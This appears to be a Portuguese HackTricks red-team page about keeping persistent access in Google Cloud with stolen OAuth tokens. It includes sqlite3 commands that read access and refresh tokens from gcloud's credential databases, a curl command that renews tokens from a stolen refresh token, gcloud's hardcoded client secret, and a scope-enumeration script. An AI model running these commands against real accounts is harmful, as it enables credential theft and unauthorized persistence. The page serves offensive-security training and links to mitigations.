GCP - Persistência de Token

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Tokens de Usuários Autenticados

Para obter o current token de um usuário, você pode executar:

Obter access token do banco de dados SQLite ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ```

Veja nesta página como usar diretamente este token com gcloud:

Cloud SSRF - HackTricks

Para obter os detalhes para gerar um novo access token, execute:

Obter refresh token do banco de dados SQLite ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ```

Também é possível encontrar refresh tokens em $HOME/.config/gcloud/application_default_credentials.json e em $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Para obter um novo access token renovado com o refresh token, client ID e client secret, execute:

Obter novo access token usando refresh token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ```

A validade dos refresh tokens pode ser gerenciada em Admin > Security > Google Cloud session control, e por padrão está definida para 16h embora possa ser definida para nunca expirar:

Fluxo de autenticação

O fluxo de autenticação ao usar algo como gcloud auth login abrirá um prompt no navegador e, após aceitar todos os scopes, o navegador enviará uma requisição como esta para a porta http aberta pela ferramenta:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Then, gcloud will use the state and code with a some hardcoded client_id (32555940559.apps.googleusercontent.com) and client_secret (ZmssLNjJy2998hD4CTg2ejr2) to get the final refresh token data.

Caution

Observe que a comunicação com localhost é em HTTP, então é possível interceptar os dados para obter um refresh token; no entanto, esses dados são válidos apenas uma vez, portanto isso seria inútil — é mais fácil simplesmente ler o refresh token do arquivo.

Escopos OAuth

Você pode encontrar todos os escopos do Google em https://developers.google.com/identity/protocols/oauth2/scopes ou obtê-los executando:

Obter todos os escopos OAuth do Google ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```

É possível ver quais escopos a aplicação que gcloud usa para autenticar pode suportar com este script:

Testar escopos suportados para gcloud ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```

Após executá-lo, foi verificado que este app suporta estes scopes:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

É interessante ver como esta aplicação suporta o escopo drive, o que poderia permitir a um usuário escalar de GCP para Workspace se um atacante conseguir forçar o usuário a gerar um token com esse escopo.

Veja como abusar disso aqui.

Contas de Serviço

Assim como com usuários autenticados, se você conseguir comprometer o arquivo de chave privada de uma conta de serviço você poderá acessá-la normalmente pelo tempo que quiser.
No entanto, se você roubar o OAuth token de uma conta de serviço isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a vítima apagar a chave de API privada, o OAuth token ainda permanecerá válido até expirar.

Metadados

Obviamente, enquanto você estiver dentro de uma máquina rodando no ambiente GCP você poderá acessar a conta de serviço vinculada a essa máquina consultando o endpoint de metadata (observe que os tokens OAuth que você pode acessar neste endpoint geralmente estão restritos por escopos).

Mitigações

Algumas mitigações para essas técnicas são explicadas em https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks